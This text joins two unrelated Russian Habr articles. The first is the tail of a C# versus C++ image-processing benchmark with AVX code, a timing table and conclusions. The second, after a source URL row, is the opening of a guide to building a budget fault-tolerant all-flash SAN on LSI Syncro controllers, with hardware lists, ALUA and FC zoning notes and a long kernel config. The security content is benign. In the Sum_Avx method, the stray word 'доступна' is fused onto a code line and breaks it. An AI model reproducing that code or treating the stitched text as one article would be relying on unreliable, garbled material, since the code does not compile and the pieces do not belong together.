public static void Sum_ThisProperty(NativeImage img1, NativeImage img2, NativeImage res)
{
for (var j = 0; j < res.Height; j++)
for (var i = 0; i < res.Width; i++)
res[i, j] = img1[i, j] + img2[i, j];
}
[MethodImpl(MethodImplOptions.AggressiveOptimization)]
public static void Sum\_Optimized(NativeImage img1, NativeImage img2, NativeImage res)
{
var w = res.Width;
for (var j = 0; j < res.Height; j++)
{
var p1 = img1.PixelAddr(0, j);
var p2 = img2.PixelAddr(0, j);
var r = res.PixelAddr(0, j);
for (var i = 0; i < w; i++)
r[i] = p1[i] + p2[i];
}
}
[MethodImpl(MethodImplOptions.AggressiveOptimization)]
public static void Sum\_Avx(NativeImage img1, NativeImage img2, NativeImage res)
{
var w8 = res.Width / 8 \* 8;
for (var j = 0; j < res.Height; j++)
{
var p1 = img1.PixelAddr(0, j);
var p2 = img2.PixelAddr(0, j);
var r = res.PixelAddr(0, j);доступна
for (var i = 0; i < w8; i += 8)
{
Avx.StoreAligned(r, Avx.Add(Avx.LoadAlignedVector256(p1), Avx.LoadAlignedVector256(p2)));
p1 += 8;
p2 += 8;
r += 8;
}
for (var i = w8; i < res.Width; i++)
\*r++ = \*p1++ + \*p2++;
}
}
```
Результаты
----------
Перейдём к результатам. В ячейках таблицы указано время работы (1/10 перцентиль) тестируемых методов в микросекундах для изображений размером 256x256 в градациях серого с типом пикселя float 32 bit.
| | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- |
| | dotnet build -c Release | g++ 10.2.0 -O0 | g++ 10.2.0 -O1 | g++ 10.2.0 -O2 | g++ 10.2.0 -O3 | clang 11.0.0 -O2 | clang 11.0.0 -O3 |
| Sum (naive) | 115.8 | 757.6 | 124.4 | 36.26 | 19.51 | 20.14 | 19.81 |
| Sum (opt) | 40.69 | 255.6 | 36.07 | 24.48 | 19.60 | 20.11 | 19.81 |
| Sum (avx) | 21.15 | 60.41 | 20.00 | 20.18 | 20.37 | 20.23 | 20.20 |
| Rotate (naive) | 90.29 | 500.3 | 87.15 | 36.01 | 14.49 | 14.04 | 14.16 |
| Rotate (opt) | 34.99 | 237.1 | 35.11 | 34.17 | 14.55 | 14.10 | 14.27 |
| Rotate (avx) | 14.83 | 51.04 | 14.14 | 14.25 | 14.37 | 14.22 | 14.72 |
| Median 3x3 | 4163 | 26660 | 2930 | 1607 | 2508 | 2301 | 2330 |
| Median 5x5 | 11550 | 10090 | 8240 | 5554 | 5870 | 5610 | 6051 |
| Median 7x7 | 23540 | 24470 | 17540 | 13640 | 12620 | 12920 | 13510 |
| Convolve 7x7 (naive) | 5519 | 30900 | 3240 | 3694 | 2775 | 3047 | 2761 |
| Convolve 7x7 (opt) | 2913 | 11780 | 2759 | 2628 | 2754 | 2434 | 2262 |
| Convolve 7x7 (avx) | 709.2 | 3759 | 729.8 | 669.8 | 684.2 | 643.8 | 638.3 |
| Convolve 7x7 (avx\*) | 505.6 | 2984 | 523.4 | 511.5 | 507.8 | 443.2 | 443.3 |
*Примечание*: Convolve 7x7 (avx\*) - это свёртка без специальной обработки граничных значений, то есть случай, когда результирующее изображение уменьшается на размер ядра свёртки.
Тестирование проводилось на процессоре Core i7-2600K @ 4.0 GHz.
Из таблицы можно сделать следующие наблюдения:
* Скорость работы векторизованного кода (avx), написанного на C#, практически не отличается от аналогичного кода, написанного на C++. Ура, теперь на C# можно прогать математику!
* Производительность небезопасных низкоуровневых методов в C# тоже достаточно неплоха, и C# сильно проигрывает только там, где компилятор C++ смог применить автовекторизацию.
* А вот скорость работы наивных реализаций в C# оставляет желать лучшего и проигрывает C++ от 2 до 6 раз. Но для прототипирования это и не важно.
Выводы
------
Да, на C# можно писать вычислительный код, имеющий паритет по производительности с C++. Но для этого придётся прибегнуть к ручными оптимизациям в коде: то, что компилятор C++ делает в автоматическом режиме, в C# нужно делать самому. Поэтому если у вас нет привязки к C#, то пишите дальше на C++.
P.S. В .NET есть одна киллер-фича - это возможность кодогенерации в рантайме. Если пайплайн обработки изображений заранее неизвестен (например, задаётся пользователем), то в C++ придётся собирать его из кирпичиков и, возможно, даже использовать виртуальные функции, тогда как в C# можно добиться большей производительности, просто сгенерив метод. | https://habr.com/ru/post/532442/ | null | ru | null |
# Бюджетное SAN-хранилище на LSI Syncro, часть 1
[Вторая часть](https://habr.com/post/253741/)
Итак, продолжу свои [редкие](http://habrahabr.ru/post/209460/) [статьи](http://habrahabr.ru/post/209666/) на тему «как не платить HP/EMC/IBM многие кило-(или даже мега-) доллары и собрать своё хранилище не хуже». Прошлый цикл я до победного конца не довёл, но 90% мыслей всё же оформил в текст.
Нашей сегодняшней целью будет отказоустойчивое «All-Flash» (то есть — только из SSD, без жестких дисков, хотя это и не принципиально) хранилище для нужд кластера vSphere, в несколько раз дешевле брендовых аналогов и с очень неплохой производительностью. Подключаться к нему мы будем по Fibre Channel, но никто не мешает сделать iSCSI, FCoE или даже, о ужас, Infiniband.
Syncro
------
Как ясно из названия, основой всей этой богодельни станет достаточно уникальный на рынке продукт под названием **Syncro CS** от компании **LSI** (ныне Avago).
Что же оно такое есть и чем примечательно?
По сути, это комплект из двух обычных контроллеров LSI 9286-8e (либо 9271-8i, если нужны внутренние порты) и двух суперконденсаторов для сохранения кеш-памяти на флешку контроллера в случае потери питания. Стоимость комплекта при этом в несколько раз выше цены аналогичного комплекта без HA-функционала. Но, если сравнивать с решениями на базе DRBD, то эта разница с лихвой компенсируется отсутствием необходимости иметь двойной набор накопителей.
Но самое интересное кроется в прошивке. Благодаря ей, эти контроллеры, будучи подключенными к одной SAS-сети (например, дисковой корзине с экспандерами) устанавливают через неё связь друг с другом и работают в режиме отказоустойчивого кластера.
Для нас это интересно вот чем:
* Возможность создавать RAID-массивы, доступные сразу на двух серверах
* Отказоустойчивость на уровне контроллеров: при смерти одного из них (или целиком сервера) второй продолжит работать и обслуживать I/O
Через SAS-сеть эти контроллеры синхронизируют свои кеши записи (т.н. cache coherency), обмениваются Heartbeat-ами, сообщая друг другу что живы-здоровы, и так далее.
У них есть некоторые важные особенности, выясненные как ~~потом и кровью~~ опытным путём, так и вдумчивым чтением документации:
* По причине отказоустойчивой натуры решения, LSI Syncro поддерживает **только двухпортовые SAS диски**. Так что никаких SATA SSD, к сожалению, что довольно сильно увеличивает стоимость хранилища.
* Как я понял, контроллеры поддерживают не более 96 SAS-накопителей. В документации ещё фигурирует фраза *Maximum of 120 dual-ported SAS devices in the HA storage domain*, которая противоречит *Up to 96 ea 6G SAS and/or NearLine-SAS dual-ported HDDs and SSDs* двумя строчками выше там же. Так что будем считать по-минимуму.
* При создании массива на одном из контроллеров этот контроллер становится его хозяином до тех пор пока не будет, к примеру, перезагружен сервер где он установлен. После этого роль хозяина переходит ко второму контроллеру.
* После возвращения в строй первого контроллера роль хозяина массива ему не возвращается, а остаётся у второго.
* Контроллеры используют механизм **I/O Shipping**: при приходе I/O-запроса на контроллер, который в данный момент не является хозяином массива, он переправляет этот запрос контроллеру-хозяину по SAS-шине, тот его исполняет и отправляет обратно.
* В результате вышесказанного скорость работы подчиненного контроллера с массивом в несколько раз ниже (по линейной скорости — в 2 раза, по IOPSам — в 7(!) раз) чем скорость работы контроллера-хозяина массива.
* На данный момент не существует способа заставить контроллер-хозяин добровольно передать владение массивом второму контроллеру, что очень странно. Особенно учитывая то, что при мягкой перезагрузке (Controlled failover) основного контроллера, в логах второго контроллера видны сообщения о том, что основной предупреждает о своём ребуте и просит забрать массивы. LSI что-то такое обещала добавить в свои утилиты, а пока… только перезагрузка, только хардкор.
* ОС сервера, куда вставлен подчинённый (на данный момент времени) контроллер видит массивы контроллера-хозяина, но утилиты управления контроллером (StorCLI, MegaCLI, ...) массивов (и дисков, состоящих в этих массивах) показывать не будут. Как только владение массивами перейдёт этому контроллеру, то массивы и диски сразу появятся в выводе утилит и можно будет ими управлять
#### ALUA
Так как скорость работы с массивом у хозяина и подчинённого контроллеров разная, то нам придётся строить хранилище с парадигмой ALUA, которая как раз для таких случаев и была придумана. Там много всяких особенностей, но для нас смысл её в том, что можно часть портов на хранилищах пометить как **Optimized** (т.е. рекомендованные к использованию), а другие как **Unoptimized** (соответственно, не рекомендованные). Все эти порты могут обслуживать ввод-вывод в любой момент времени, но при наличии живых путей до Optimized портов инициатор будет использовать их, а остальные держать в запасе. Если же все Optimized порты откажут, то инициатор (ESXi в нашем случае), немного подумав, пустит I/O по Unoptimized портам.
С точки зрения VMWare ESXi это выглядит так:
Первая тройка путей ведёт нас к подчинённому хранилищу, а вторая тройка — к главному, которое может обслуживать I/O на полной скорости.
Если бы мы не использовали ALUA, то I/O запросы (в режиме Round-Robin) шли бы на оба хранилища, что привело бы к неравномерности задержек и скорости, по сути упираясь в производительность подчинённого хранилища.
**Achtung!**
Многие программы, работающие с SAN (например — Microsoft Cluster Services), опираются на SCSI Persistent Reservations, позволяющие блокировать LUN и производить с ним эксклюзивно всякие непотребства. Так вот, эти самые SCSI PR **не будут реплицироваться на другой сервер**.
То есть, если инициатор поставит блокировку на LUN через путь, ведущий на первый сервер, то через путь, ведущий на второй сервер, эта блокировка видна не будет. Для работы в режиме Round Robin это особенно важно, так как пути меняются постоянно и через какой путь будет установлена блокировка заранее неизвестно. В случае с VMWare ESXi это, в принципе, не проблема так как с версии VMFS5 не используются SCSI PR, а вместо них идёт в ход инструкция Atomic-Test-and-Set (которая, впрочем, тоже не реплицируется, но зато блокирует только нужную область на LUNе и на короткое время, а не весь LUN целиком), да и ALUA должен дать знать ESXi чтобы тот не использовал пути на второй сервер пока жив основной.
Есть какие-то коммерческие решения на базе SCST, реализующие синхронизацию SCSI PR, но я их не пробовал. И, по слухам, какое-то подобное решение будет, возможно, скоро открыто для публики.
Ладно, с теорией закончили, приступим к практике.
Hard & Soft
-----------
### Железо
Серверы-контроллеры:
* Комплект [LSI Syncro CS 9286-8e](http://www.lsi.com/products/shared-das/pages/syncro-cs-9286-8e.aspx) **x 1**
Нынче уже [доступны](http://www.lsi.com/products/shared-das/pages/syncro-cs-9380-8e.aspx) Syncro со скоростью 12Gb/s, но я их не щупал. Плюс, там ещё больше порезаны фичи MegaRAID (убран Cachecade совсем, а в предыдущей версии был, хоть и только в режиме кеширования чтения).
* Корпуса [Supermicro SC216 2U](http://www.supermicro.nl/products/chassis/2U/216/SC216BE26-R1K28LP.cfm) **x 2**
Можно было, конечно, использовать 1U, но у них очень туго со слотами расширения, да и место в стойке экономить особо не надо было.
* МП [Supermicro X10SRL-F](http://www.supermicro.com/products/motherboard/xeon/c600/x10srl-f.cfm) **x 2**
Выбрана за большое количество слотов PCI-E.
* Процессор [Intel Xeon E5-1650 v3](http://ark.intel.com/products/82765/Intel-Xeon-Processor-E5-1650-v3-15M-Cache-3_50-GHz) **x 2**
Выбран за большую частоту.
* Память DDR4-2133 16GB ECC Registered **x 8**
Память нашим железкам почти не понадобится (хотя, если добавить корзину с жесткими дисками, то как кеш чтения вполне пригодится), поэтому можно брать поменьше, но с учетом 4-х канального контроллера памяти и возможности зеркалировать модули.
* Двухпортовые Fibre Channel контроллеры [QLogic 2562](http://www.qlogic.com/Resources/Documents/DataSheets/Adapters/datasheet_2500_Series_Adapter.pdf) **x 4**
На эту номинацию проходили кастинг и 16Гбитные QLogic 2672, но там вылезли проблемы совместимости с драйвером, да и 16Гбит свичей у меня нет. Поэтому была применена волшебная палочка и они, до поры до времени, превратились в двухпортовые 10Гбит сетевые карты с космической стоимостью… :)
* [Intel DC S3500 80Gb](http://www.intel.com/content/dam/www/public/us/en/documents/product-briefs/ssd-dc-s3500-brief.pdf) **x 4**
По паре в каждый сервер (RAID1) под ОС (да, можно было бы поставить на USB флешки или SATA DOM, но у первых плохая надежность (иногда отваливаются), а у вторых нет возможности Hot Swap).
Дисковая полка:
* Корпус на 72 2.5" диска [Supermicro SC417E26](http://www.supermicro.com/products/chassis/4U/417/SC417E26-R1400LP.cfm) **x 1**
Внутри имеет три идентичных бэкплейна на 24 диска со двойными экспандерами для отказоустойчивости. У них есть ещё более монструозное решение — [SC417E16-RJBOD1](http://www.supermicro.com/products/chassis/4U/417/SC417E16-RJBOD1.cfm) — на 88 дисков, но там лишь одинарные экспандеры, что плохо скажется на надёжности, да и слотов расширения мало. А нам нужно, по хорошему, минимум три (для установки планок с внешними SAS портами — две для подключения к серверам и одна для каскадирования корзин).
* Твердотельные SAS диски на 400Гбайт [Hitachi S842E400M2](http://www.hgst.com/tech/techlib.nsf/techdocs/7575BD5A8DCD2D0488257C41000587A0/%24file/s842-SAS-SSD-DS.pdf) **x 48**
На момент закупки это были одни из самых надёжных и недорогих на рынке (из списка совместимости Syncro). Производитель обещает износостойкость 30 Петабайт на запись или 40 полных перезаписей в день в течении 5 лет. Что ж, время покажет…
* Всякая прочая мелочь вроде платы питания Supermicro CSE-PTJBOD-CB2 (чтобы корпус включался без М/П + мониторинг БП корпуса через I2C/SAS), провода SAS внутренние и внешние (для коммутации бэкплейнов между собой и подключения серверов к полке) и т.п.
FC-коммутаторы:
* [Cisco MDS9148](http://www.cisco.com/c/en/us/products/collateral/storage-networking/mds-9148-multilayer-fabric-switch/data_sheet_c78-571411.html) **x 2**
Относительно недорогие и качественные девайсы (я брал с 16 активированными портами).
Сейчас вроде уже end-of-sale, вместо них 9148S на 16Гбит.
#### Cost & Performance
Всё это счастье (вместе со свичами) на момент закупки (ноябрь 2014) стоило около 4 млн. рублей, что при «сырой емкости» в 19.2Тб флеша очень и очень недорого. Для сравнения: за low-end двухконтроллерную железяку MSA 2040 с 24 х 800GB SSD на борту компания HP сейчас хочет что-то около 18 млн (да, я знаю про всякие скидки, да и доллар подрос, но всё же порядок цен, думаю, примерно такой).
По скорости они обещают не более 85k IOPS, у нас же будет чуть побольше: с одной ноды я снимал **720k IOPS** с 75% загрузкой CPU с бэкендом vdisk\_nullio (при чтении выдаёт нули, записи же отбрасывает, эдакий аналог /dev/null).
Причём загрузка CPU, почему-то, скачкообразно нарастает при увеличении IOPS с 600k до 720k — с 40% до 75%, до этого же растёт равномерно. Линейная скорость ожидаемо упирается в FC интерфейсы — около **3Гбайт/c** (4 порта по 800Мб/c в теории, учитывая 8b/10b кодирование у 8Gbit FC).
Из Syncro я смог выжать **420k IOPS**, что близко к теоретическому пределу в 450k IOPS, которые обещает LSI. При работе с SSD очень важно отключать кеш записи на массиве (режим write-through) и включать Direct I/O, в противном случае производительность упирается в 150k IOPS **даже при чтении**. Это особенности технологии FastPath у LSI, она активируется только при соблюдении этих двух условий.
Линейная скорость чтения с массива достигает 3.8Гбайт/c. Тут, скорее всего, упираемся в производительность самого контроллера (шина PCI-E 3.0 x8 может прокачать 8Гбайт/c).
Более подробные бенчмарки, думаю, будут во второй части.
#### Сборка серверов
Тут особо рассказывать нечего.
В каждый сервер устанавливаем материнскую плату, процессор, память, два FC контроллера и один Syncro.
Я ещё установил в заднюю часть корпуса небольшую корзину (Supermicro MCP-220-82609-0N) на два диска и туда вставил SSD под ОСь. Основная корзина корпуса пока осталась незадействованной, но в будущем её можно будет тоже подключить к Syncro, хотя это и разрушит отказоустойчивую натуру решения (выключил одну ноду — заодно вырубил и бэкплейн).
Важный совет по надежности — выставить в биосе зеркалирование памяти, это эдакий RAID1 для DDR.
Мозгов станет вдвое меньше, зато надёжность резко повысится. Ну и погонять memtest-ом недельку, для верности. В логах биоса читать про ошибки ECC, если они есть — менять сбойный модуль и гонять заново. Ибо если пока это корректируемые ошибки, то потом могут стать фатальными, такие случаи были.
#### Схема подключения
#### SAS
Следующая схема нагло стырена из документации к Syncro:
Глубинный смысл такого подключения в том, что при отказе одной из дисковых полок
вторая продолжит работать. Если же подключать полки одну за другой (daisy chain),
то при отказе первой полки в цепочке связь со всеми остальными тоже будет потеряна.
А тут мы имеем что-то вроде топологии «кольцо», когда дополнительные полки подключаются
между этими двумя.
В нашем же случае полка одна (хоть в ней и три бэкплейна), так что подключать мы её будем
по-обычному, примерно так:
Внутри полки бэкплейны соединяем последовательно.
#### FC
Сервера подключаем к FC-коммутаторам так:
Таким образом, при отказе любой из HBA-карт и/или одного коммутатора у нас будет связность.
Вминание! **Коммутаторы не следует соединять между собой транками и прочими ISL!**
Это должны быть две независимые фабрики.
Ибо, если мы сделаем ошибку в настройке одного из них (или будет сбоить софт) — это не скажется на втором (в FC зонирование и прочие настройки распространяются по всем свичам фабрики).
Зонировал я по принципу «один порт инициатора и один порт хранилища».
При наличии большого количества инициаторов это трудоёмко, так как количество зон будет равно **[кол-во портов инициаторов] X [кол-во портов хранилищ]**. Но, имея список портов хранилищ и инициаторов зоны легко можно сгенерировать скриптом :) Лень — двигатель прогресса.
### Программная часть
* [Debian Linux 7 x86-64](http://www.debian.org/)
* [Kernel 3.14.xx LTS](https://www.kernel.org/)
Если требуется крайне высокая производительность, то стоит обратить свой светлый взор на ядра 3.18+ так как в них была интегрирована поддержка [SCSI-MQ](http://events.linuxfoundation.org/sites/events/files/slides/scsi.pdf), которая позволяет добиться 1млн+ IOPS на одном LUN.
Но, в нашем случае, когда много инициаторов подключаются к нескольким LUN-ам, это даже вредно, ибо по бенчмарками в данном случае SCSI-MQ работает несколько медленнее обычного стека. Ещё один минус — SCSI-MQ не имеет планировщиков I/O (deadline, cfq), что, в общем-то логично — SSD планировщик не нужен, а для жёстких дисков толку от SCSI-MQ никакого, там IOPSам далеко до программных пределов. А вот в смешанных конфигурациях (SSD+HDD) это, скорее всего, негативно скажется на скорости работы массивов с HDD.
* [SCST Target Framework 3.0.1](http://sourceforge.net/p/scst/svn/HEAD/tree/)
Тут всё более или менее стандартно, ставим ОС на софтовый линуксовый рейд (mdraid) так как железного рейда в этих материнских платах не предусмотрено.
Далее настраиваем и собираем ядро.
**Мой конфиг, может кому пригодится**
```
CONFIG_64BIT=y
CONFIG_X86_64=y
CONFIG_X86=y
CONFIG_INSTRUCTION_DECODER=y
CONFIG_OUTPUT_FORMAT="elf64-x86-64"
CONFIG_ARCH_DEFCONFIG="arch/x86/configs/x86_64_defconfig"
CONFIG_LOCKDEP_SUPPORT=y
CONFIG_STACKTRACE_SUPPORT=y
CONFIG_HAVE_LATENCYTOP_SUPPORT=y
CONFIG_MMU=y
CONFIG_NEED_DMA_MAP_STATE=y
CONFIG_NEED_SG_DMA_LENGTH=y
CONFIG_GENERIC_ISA_DMA=y
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_BUG_RELATIVE_POINTERS=y
CONFIG_GENERIC_HWEIGHT=y
CONFIG_ARCH_MAY_HAVE_PC_FDC=y
CONFIG_RWSEM_XCHGADD_ALGORITHM=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_ARCH_HAS_CPU_RELAX=y
CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y
CONFIG_ARCH_HAS_CPU_AUTOPROBE=y
CONFIG_HAVE_SETUP_PER_CPU_AREA=y
CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y
CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y
CONFIG_ARCH_HIBERNATION_POSSIBLE=y
CONFIG_ARCH_SUSPEND_POSSIBLE=y
CONFIG_ARCH_WANT_HUGE_PMD_SHARE=y
CONFIG_ARCH_WANT_GENERAL_HUGETLB=y
CONFIG_ZONE_DMA32=y
CONFIG_AUDIT_ARCH=y
CONFIG_ARCH_SUPPORTS_OPTIMIZED_INLINING=y
CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y
CONFIG_X86_64_SMP=y
CONFIG_X86_HT=y
CONFIG_ARCH_HWEIGHT_CFLAGS="-fcall-saved-rdi -fcall-saved-rsi -fcall-saved-rdx -fcall-saved-rcx -fcall-saved-r8 -fcall-saved-r9 -fcall-saved-r10 -fcall-saved-r11"
CONFIG_ARCH_SUPPORTS_UPROBES=y
CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"
CONFIG_IRQ_WORK=y
CONFIG_BUILDTIME_EXTABLE_SORT=y
CONFIG_INIT_ENV_ARG_LIMIT=32
CONFIG_CROSS_COMPILE=""
CONFIG_LOCALVERSION=""
CONFIG_HAVE_KERNEL_GZIP=y
CONFIG_HAVE_KERNEL_BZIP2=y
CONFIG_HAVE_KERNEL_LZMA=y
CONFIG_HAVE_KERNEL_XZ=y
CONFIG_HAVE_KERNEL_LZO=y
CONFIG_HAVE_KERNEL_LZ4=y
CONFIG_KERNEL_XZ=y
CONFIG_DEFAULT_HOSTNAME="(none)"
CONFIG_SYSVIPC=y
CONFIG_SYSVIPC_SYSCTL=y
CONFIG_POSIX_MQUEUE=y
CONFIG_POSIX_MQUEUE_SYSCTL=y
CONFIG_FHANDLE=y
CONFIG_GENERIC_IRQ_PROBE=y
CONFIG_GENERIC_IRQ_SHOW=y
CONFIG_GENERIC_PENDING_IRQ=y
CONFIG_IRQ_FORCED_THREADING=y
CONFIG_SPARSE_IRQ=y
CONFIG_CLOCKSOURCE_WATCHDOG=y
CONFIG_ARCH_CLOCKSOURCE_DATA=y
CONFIG_GENERIC_TIME_VSYSCALL=y
CONFIG_GENERIC_CLOCKEVENTS=y
CONFIG_GENERIC_CLOCKEVENTS_BUILD=y
CONFIG_GENERIC_CLOCKEVENTS_BROADCAST=y
CONFIG_GENERIC_CLOCKEVENTS_MIN_ADJUST=y
CONFIG_GENERIC_CMOS_UPDATE=y
CONFIG_TICK_ONESHOT=y
CONFIG_NO_HZ_COMMON=y
CONFIG_NO_HZ_IDLE=y
CONFIG_HIGH_RES_TIMERS=y
CONFIG_TICK_CPU_ACCOUNTING=y
CONFIG_TASKSTATS=y
CONFIG_TASK_DELAY_ACCT=y
CONFIG_TASK_XACCT=y
CONFIG_TASK_IO_ACCOUNTING=y
CONFIG_TREE_RCU=y
CONFIG_RCU_STALL_COMMON=y
CONFIG_RCU_FANOUT=64
CONFIG_RCU_FANOUT_LEAF=16
CONFIG_IKCONFIG=y
CONFIG_IKCONFIG_PROC=y
CONFIG_LOG_BUF_SHIFT=18
CONFIG_HAVE_UNSTABLE_SCHED_CLOCK=y
CONFIG_ARCH_SUPPORTS_NUMA_BALANCING=y
CONFIG_ARCH_SUPPORTS_INT128=y
CONFIG_ARCH_WANTS_PROT_NUMA_PROT_NONE=y
CONFIG_ARCH_USES_NUMA_PROT_NONE=y
CONFIG_NUMA_BALANCING_DEFAULT_ENABLED=y
CONFIG_NUMA_BALANCING=y
CONFIG_CGROUPS=y
CONFIG_CGROUP_SCHED=y
CONFIG_FAIR_GROUP_SCHED=y
CONFIG_CFS_BANDWIDTH=y
CONFIG_RT_GROUP_SCHED=y
CONFIG_BLK_CGROUP=y
CONFIG_NAMESPACES=y
CONFIG_SCHED_AUTOGROUP=y
CONFIG_SYSCTL=y
CONFIG_ANON_INODES=y
CONFIG_HAVE_UID16=y
CONFIG_SYSCTL_EXCEPTION_TRACE=y
CONFIG_HAVE_PCSPKR_PLATFORM=y
CONFIG_UID16=y
CONFIG_KALLSYMS=y
CONFIG_PRINTK=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
CONFIG_PCSPKR_PLATFORM=y
CONFIG_BASE_FULL=y
CONFIG_FUTEX=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_TIMERFD=y
CONFIG_EVENTFD=y
CONFIG_SHMEM=y
CONFIG_AIO=y
CONFIG_PCI_QUIRKS=y
CONFIG_HAVE_PERF_EVENTS=y
CONFIG_PERF_EVENTS=y
CONFIG_VM_EVENT_COUNTERS=y
CONFIG_SLUB_DEBUG=y
CONFIG_SLUB=y
CONFIG_SLUB_CPU_PARTIAL=y
CONFIG_HAVE_OPROFILE=y
CONFIG_OPROFILE_NMI_TIMER=y
CONFIG_JUMP_LABEL=y
CONFIG_HAVE_EFFICIENT_UNALIGNED_ACCESS=y
CONFIG_ARCH_USE_BUILTIN_BSWAP=y
CONFIG_HAVE_IOREMAP_PROT=y
CONFIG_HAVE_KPROBES=y
CONFIG_HAVE_KRETPROBES=y
CONFIG_HAVE_OPTPROBES=y
CONFIG_HAVE_KPROBES_ON_FTRACE=y
CONFIG_HAVE_ARCH_TRACEHOOK=y
CONFIG_HAVE_DMA_ATTRS=y
CONFIG_GENERIC_SMP_IDLE_THREAD=y
CONFIG_HAVE_REGS_AND_STACK_ACCESS_API=y
CONFIG_HAVE_DMA_API_DEBUG=y
CONFIG_HAVE_HW_BREAKPOINT=y
CONFIG_HAVE_MIXED_BREAKPOINTS_REGS=y
CONFIG_HAVE_USER_RETURN_NOTIFIER=y
CONFIG_HAVE_PERF_EVENTS_NMI=y
CONFIG_HAVE_PERF_REGS=y
CONFIG_HAVE_PERF_USER_STACK_DUMP=y
CONFIG_HAVE_ARCH_JUMP_LABEL=y
CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y
CONFIG_HAVE_ALIGNED_STRUCT_PAGE=y
CONFIG_HAVE_CMPXCHG_LOCAL=y
CONFIG_HAVE_CMPXCHG_DOUBLE=y
CONFIG_ARCH_WANT_COMPAT_IPC_PARSE_VERSION=y
CONFIG_ARCH_WANT_OLD_COMPAT_IPC=y
CONFIG_HAVE_ARCH_SECCOMP_FILTER=y
CONFIG_SECCOMP_FILTER=y
CONFIG_HAVE_CC_STACKPROTECTOR=y
CONFIG_CC_STACKPROTECTOR_NONE=y
CONFIG_HAVE_CONTEXT_TRACKING=y
CONFIG_HAVE_VIRT_CPU_ACCOUNTING_GEN=y
CONFIG_HAVE_IRQ_TIME_ACCOUNTING=y
CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE=y
CONFIG_HAVE_ARCH_SOFT_DIRTY=y
CONFIG_MODULES_USE_ELF_RELA=y
CONFIG_HAVE_IRQ_EXIT_ON_IRQ_STACK=y
CONFIG_OLD_SIGSUSPEND3=y
CONFIG_COMPAT_OLD_SIGACTION=y
CONFIG_SLABINFO=y
CONFIG_RT_MUTEXES=y
CONFIG_BASE_SMALL=0
CONFIG_MODULES=y
CONFIG_MODULE_UNLOAD=y
CONFIG_STOP_MACHINE=y
CONFIG_BLOCK=y
CONFIG_BLK_DEV_BSG=y
CONFIG_PARTITION_ADVANCED=y
CONFIG_MSDOS_PARTITION=y
CONFIG_EFI_PARTITION=y
CONFIG_BLOCK_COMPAT=y
CONFIG_IOSCHED_NOOP=y
CONFIG_IOSCHED_DEADLINE=y
CONFIG_IOSCHED_CFQ=y
CONFIG_CFQ_GROUP_IOSCHED=y
CONFIG_DEFAULT_DEADLINE=y
CONFIG_DEFAULT_IOSCHED="deadline"
CONFIG_PADATA=y
CONFIG_INLINE_SPIN_UNLOCK_IRQ=y
CONFIG_INLINE_READ_UNLOCK=y
CONFIG_INLINE_READ_UNLOCK_IRQ=y
CONFIG_INLINE_WRITE_UNLOCK=y
CONFIG_INLINE_WRITE_UNLOCK_IRQ=y
CONFIG_ARCH_SUPPORTS_ATOMIC_RMW=y
CONFIG_MUTEX_SPIN_ON_OWNER=y
CONFIG_ZONE_DMA=y
CONFIG_SMP=y
CONFIG_X86_SUPPORTS_MEMORY_FAILURE=y
CONFIG_SCHED_OMIT_FRAME_POINTER=y
CONFIG_NO_BOOTMEM=y
CONFIG_MCORE2=y
CONFIG_X86_INTERNODE_CACHE_SHIFT=6
CONFIG_X86_L1_CACHE_SHIFT=6
CONFIG_X86_INTEL_USERCOPY=y
CONFIG_X86_USE_PPRO_CHECKSUM=y
CONFIG_X86_P6_NOP=y
CONFIG_X86_TSC=y
CONFIG_X86_CMPXCHG64=y
CONFIG_X86_CMOV=y
CONFIG_X86_MINIMUM_CPU_FAMILY=64
CONFIG_X86_DEBUGCTLMSR=y
CONFIG_CPU_SUP_INTEL=y
CONFIG_CPU_SUP_AMD=y
CONFIG_CPU_SUP_CENTAUR=y
CONFIG_HPET_TIMER=y
CONFIG_HPET_EMULATE_RTC=y
CONFIG_DMI=y
CONFIG_SWIOTLB=y
CONFIG_IOMMU_HELPER=y
CONFIG_NR_CPUS=32
CONFIG_SCHED_SMT=y
CONFIG_SCHED_MC=y
CONFIG_PREEMPT_NONE=y
CONFIG_X86_UP_APIC_MSI=y
CONFIG_X86_LOCAL_APIC=y
CONFIG_X86_IO_APIC=y
CONFIG_X86_MCE=y
CONFIG_X86_MCE_INTEL=y
CONFIG_X86_MCE_THRESHOLD=y
CONFIG_X86_THERMAL_VECTOR=y
CONFIG_X86_16BIT=y
CONFIG_X86_ESPFIX64=y
CONFIG_MICROCODE=y
CONFIG_MICROCODE_INTEL=y
CONFIG_MICROCODE_OLD_INTERFACE=y
CONFIG_X86_MSR=y
CONFIG_X86_CPUID=y
CONFIG_ARCH_PHYS_ADDR_T_64BIT=y
CONFIG_ARCH_DMA_ADDR_T_64BIT=y
CONFIG_DIRECT_GBPAGES=y
CONFIG_NUMA=y
CONFIG_X86_64_ACPI_NUMA=y
CONFIG_NODES_SPAN_OTHER_NODES=y
CONFIG_NODES_SHIFT=2
CONFIG_ARCH_SPARSEMEM_ENABLE=y
CONFIG_ARCH_SPARSEMEM_DEFAULT=y
CONFIG_ARCH_SELECT_MEMORY_MODEL=y
CONFIG_ILLEGAL_POINTER_VALUE=0xdead000000000000
CONFIG_SELECT_MEMORY_MODEL=y
CONFIG_SPARSEMEM_MANUAL=y
CONFIG_SPARSEMEM=y
CONFIG_NEED_MULTIPLE_NODES=y
CONFIG_HAVE_MEMORY_PRESENT=y
CONFIG_SPARSEMEM_EXTREME=y
CONFIG_SPARSEMEM_VMEMMAP_ENABLE=y
CONFIG_SPARSEMEM_ALLOC_MEM_MAP_TOGETHER=y
CONFIG_SPARSEMEM_VMEMMAP=y
CONFIG_HAVE_MEMBLOCK=y
CONFIG_HAVE_MEMBLOCK_NODE_MAP=y
CONFIG_ARCH_DISCARD_MEMBLOCK=y
CONFIG_MEMORY_ISOLATION=y
